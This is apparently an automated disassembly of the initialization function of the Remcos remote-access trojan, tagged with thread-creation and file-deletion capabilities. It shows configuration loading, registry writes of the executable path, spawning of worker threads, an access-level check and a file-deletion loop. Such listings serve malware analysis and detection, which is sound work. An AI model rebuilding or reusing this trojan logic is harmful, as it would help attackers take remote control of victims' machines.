Function at 0x40df5d
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x471d40], eax
push ebx
push esi
push edi
call fcn.0041bb41
push 0x104
push 0x471b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040e95b
sub esp, 0x18
mov ecx, esp
push 0x4742cc
call fcn.004020d6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020d6
lea ecx, [esp + 0x60]
call fcn.0041afee
add esp, 0x30
push eax
call fcn.0040f0af
lea ecx, [esp + 0x30]
call fcn.00401e6d
push 0x466348
push dword [ebp + 0x10]
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
jne 0x40e02b
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040f14b
push 0x34
mov ecx, 0x4742a8
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.004104cf
lea ecx, [esp + 0x60]
call fcn.0040f0fc
lea ecx, [esp + 0x60]
call fcn.0040e948
xor esi, esi
inc esi
jmp 0x40e48a
push 3
pop ebx
mov esi, 0x4742a8
push ebx
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x46508c
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b32]
call fcn.00401e45
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00408832
pop ecx
push eax
mov ecx, 0x474248
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea ecx, [esp + 0x14]
call fcn.00401fb8
push 0xe
mov ecx, esi
call fcn.00401e45
push eax
mov ecx, 0x474278
call fcn.00401fa0
push 0x46636c
mov ecx, 0x4742e4
call fcn.00405a86
push edi
push 0x32
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471d4b]
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
cmp byte [eax], 0
setne byte [0x471d60]
cmp byte [0x471d4b], 0
je 0x40e146
push 0x466370
mov edx, 0x474278
lea ecx, [esp + 0x18]
call fcn.00406292
pop ecx
push eax
mov ecx, 0x474380
call fcn.00401fc2
lea ecx, [esp + 0x14]
call fcn.00401fb8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x466374
mov ecx, 0x474248
call fcn.00401f8b
mov edx, eax
call fcn.00412886
pop ecx
pop ecx
test al, al
jne 0x40e8e7
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00401e45
mov edx, 0x4650ec
mov ecx, eax
call fcn.0040afc1
test al, al
je 0x40e19b
lea eax, [esp + 0x10]
mov ecx, 0x474248
push eax
push 0x466378
call fcn.00401f8b
mov edx, eax
call fcn.00412886
pop ecx
pop ecx
test al, al
je 0x40e19b
push 0x466378
mov ecx, 0x474248
call fcn.00401f8b
mov edx, eax
call fcn.00412ce6
pop ecx
call fcn.0040c601
test eax, eax
jne 0x40e1ab
push 2
jmp 0x40e489
mov eax, dword [0x473ae4]
test eax, eax
je 0x40e1b6
call eax
call fcn.0041a496
mov eax, dword [0x473af0]
test eax, eax
je 0x40e1cb
call eax
mov dword [0x4709d0], eax
cmp dword [esp + 0x10], edi
jne 0x40e20e
call fcn.00406d8a
test eax, eax
je 0x40e1e4
call fcn.00406dac
call fcn.004068d4
push 0x2e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e20e
cmp dword [0x473af0], edi
je 0x40e20e
cmp dword [0x4709d0], edi
jne 0x40e20e
call fcn.004068d4
push 0x27
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e228
call fcn.00406dc9
push 0xe
mov ecx, esi
call fcn.00401e45
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0041ae31
push eax
mov ecx, 0x474218
call fcn.00401ef3
lea ecx, [esp + 0x14]
call fcn.00401ee9
push 4
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b33]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b30]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b31]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e318
push 0x30
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.0043aa96
pop ecx
test eax, eax
je 0x40e318
push 9
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x30
mov ecx, 0x4742a8
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040cfcc
pop ecx
push eax
mov ecx, 0x474260
call fcn.00401ef3
lea ecx, [esp + 0x14]
call fcn.00401ee9
mov esi, 0x4742a8
cmp dword [esp + 0x10], edi
jne 0x40e49e
cmp byte [0x471b32], 0
je 0x40e3a7
push 0x1e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x4742a8
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x30
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov cl, byte [esi]
mov edx, eax
call fcn.0040c391
add esp, 0xc
jmp 0x40e3b6
push 0x471b38
mov ecx, 0x474230
call fcn.004086cb
mov ecx, 0x474230
call fcn.0040245c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.0043371b
mov esi, eax
pop ecx
test esi, esi
je 0x40e3e9
push ebx
push edi
push esi
call fcn.00435e50
add esp, 0xc
jmp 0x40e3eb
mov esi, edi
mov ecx, 0x474230
call fcn.00401ee4
push eax
push esi
call fcn.0043e7b4
pop ecx
mov ebx, 0x474290
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
mov ecx, 0x474230
call fcn.0040245c
mov ecx, 0x474248
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412c84
push esi
call fcn.00433724
add esp, 0x1c
mov esi, 0x4742a8
mov ecx, esi
push 0xd
call fcn.00401e45
mov edx, 0x4650ec
mov ecx, eax
call fcn.0040afc1
test al, al
je 0x40e503
push 0xd
mov ecx, esi
call fcn.00401e45
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041ae31
call fcn.0040ea0c
add esp, 0x18
cmp al, 1
jne 0x40e503
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00435e50
add esp, 0xc
mov ebx, 0x474290
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x474248
push eax
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412a35
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x474230
push eax
call fcn.004086cb
mov esi, 0x4742a8
push 1
push 0x34
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402073
push str.licence
mov ecx, 0x474248
call fcn.00401f8b
mov edx, eax
call fcn.00412aac
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.0043aa6c
mov byte [0x471d48], al
pop ecx
cmp al, 2
jne 0x40e574
mov cl, 1
call fcn.0041bd1e
push edi
push edi
push edi
push 0x41c3e0
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40e582
cmp al, 1
jne 0x40e57c
xor cl, cl
jmp 0x40e55b
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464f74
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
mov ecx, esi
push 0xb
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bl, bl
mov esi, eax
mov ebx, 0x4742a8
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.0043aa6c
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x31
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0xf
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x474048
call fcn.0040949a
push 0x14
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e699
push 2
pop eax
push eax
call fcn.00433450
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x4742a8
mov byte [esi], bl
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x419187
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40e69b
xor ebx, ebx
mov esi, 0x4742a8
push 0x16
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e6f1
push 2
pop eax
push eax
call fcn.00433450
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x4742a8
mov byte [esi], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x419187
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x4742a8
push 0x23
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e764
push 0x25
mov ecx, esi
mov byte [0x471a85], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x26
mov ecx, 0x4742a8
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040cf80
pop ecx
push eax
mov ecx, 0x473d48
call fcn.00401ef3
lea ecx, [esp + 0x14]
call fcn.00401ee9
push ebx
push ebx
push ebx
push 0x401bc9
push ebx
push ebx
call edi
mov esi, 0x4742a8
push 0x2b
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e7b2
push 0x2c
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2d
mov ecx, 0x4742a8
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.0043aa6c
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040b766
lea ecx, [esp + 0x14]
call fcn.0041a7e0
push eax
mov ecx, 0x4742b4
call fcn.00401ef3
lea ecx, [esp + 0x14]
call fcn.00401ee9
mov eax, dword [0x473ae8]
test eax, eax
je 0x40e7db
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40ed3f
push ebx
push ebx
call edi
cmp byte [0x471d4b], 0
je 0x40e7fc
push ebx
push ebx
push ebx
push fcn.0041168f
push ebx
push ebx
call edi
cmp byte [0x471d60], 0
je 0x40e811
push ebx
push ebx
push ebx
push 0x411c73
push ebx
push ebx
call edi
mov eax, dword [0x4709d0]
sub eax, ebx
je 0x40e826
sub eax, 1
jne 0x40e864
push str.Administrator
jmp 0x40e82b
push str.User
lea ecx, [esp + 0x18]
call fcn.00402073
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x464f74
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401fb8
mov edi, 0x474248
push 0x4663c8
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.0041283c
pop ecx
test al, al
je 0x40e93d
push 0x465f3c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041ae31
mov ecx, eax
call fcn.00401ee4
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.00412958
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee4
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40e8de
cmp ebx, 0xa
jge 0x40e907
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
call esi
test eax, eax
je 0x40e8c7
jmp 0x40e907
push 0x466374
mov ecx, 0x474248
call fcn.00401f8b
mov edx, eax
call fcn.00412ce6
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.00411a0d
push 0x465f3c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041ae31
mov ecx, eax
call fcn.00401ee4
mov edx, eax
mov ecx, closesocket
call fcn.00412d60
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee9
call fcn.0040d2da
call fcn.004142c6
int3